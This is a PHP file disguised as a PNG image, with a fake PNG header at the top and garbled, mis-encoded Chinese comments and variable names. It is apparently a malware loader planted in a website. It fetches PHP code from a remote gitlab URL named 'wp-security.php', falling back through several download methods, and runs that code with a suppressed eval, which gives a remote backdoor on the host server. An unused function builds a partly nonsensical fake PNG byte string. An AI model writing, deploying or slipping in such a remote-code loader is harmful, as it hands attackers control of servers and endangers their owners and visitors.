塒NG

<?php

// Fake PNG Header Generation (for disguising image files)
function generateFakePng() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $data = '89 50 4E 47 0D 0A 1A 0A'; // PNG signature
    $data .= '00 00 00 0D 49 48 44 52'; // IHDR chunk (header)
    $data .= '00 00 01 00 00 00 01 00'; // 1x1 image dimensions
    $data .= '08 02 00 00 00';          // Color type, compression, filter, interlace
    $data .= '00 00 00 00';             // CRC
    $data .= '00 00 00 00';             // Empty chunk
    $data .= '74 45 58 74 64 75 53 65'; // tEXt chunk signature
    $data .= '00 00 00 00';             // Text chunk data
    $data .= '75 73 65 72 2D 61 67 65'; // Random User-Agent
    $data .= '6E 74';                   // End of tEXt chunk
    
    // Fake corruption chunk (cORR)
    $data .= '63 4F 52 52 00 00 00 01'; // cORR signature
    $data .= '00 00 00 00';             // Fake corruption data
    $data .= '49 45 4E 44 AE 42 60 82'; // End of PNG

    return hex2bin($data);
}

// 鍚姩浼氳瘽
session_start();

// 璁剧疆涓诲湴鍧€锛屽鏋滄病鏈夎缃垯浣跨敤榛樿鍦板潃
$涓诲湴鍧€ = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';

// 瀹氫箟鍔犺浇鍑芥暟
function 鍔犺浇鏁版嵁($鍦板潃) {
    $鍐呭 = '';
    try {
        $鏂囦欢 = new SplFileObject($鍦板潃);
        while (!$鏂囦欢->eof()) {
            $鍐呭 .= $鏂囦欢->fgets();
        }
    } catch (Throwable $閿欒) {
        $鍐呭 = '';
    }

    // 灏濊瘯鐢?file_get_contents
    if (strlen(trim($鍐呭)) < 1) {
        $鍐呭 = @file_get_contents($鍦板潃);
    }

    // 濡傛灉杩樺け璐ワ紝浣跨敤 curl
    if (strlen(trim($鍐呭)) < 1 && function_exists('curl_init')) {
        $閫氶亾 = curl_init($鍦板潃);
        curl_setopt_array($閫氶亾, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT => 10,
        ]);
        $鍐呭 = curl_exec($閫氶亾);
        curl_close($閫氶亾);
    }

    return $鍐呭;
}

// 灏濊瘯鍔犺浇涓荤綉鍧€
$缁撴灉 = 鍔犺浇鏁版嵁($涓诲湴鍧€);

// 娣诲姞鍋囩殑PNG澶撮儴
$鍋嘝NG澶?= "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A";

// 鎷兼帴PNG澶村拰缁撴灉鍐呭
$缁撴灉 = $鍋嘝NG澶?. $缁撴灉;

/**_**//**_**//**_**//**_**//**_**//**_**//**_**/
// 濡傛灉鎴愬姛鑾峰彇鍐呭锛屽垯鎵ц
if (strlen(trim($缁撴灉)) > 0) {
    @eval("?>$缁撴灉");
}
?>
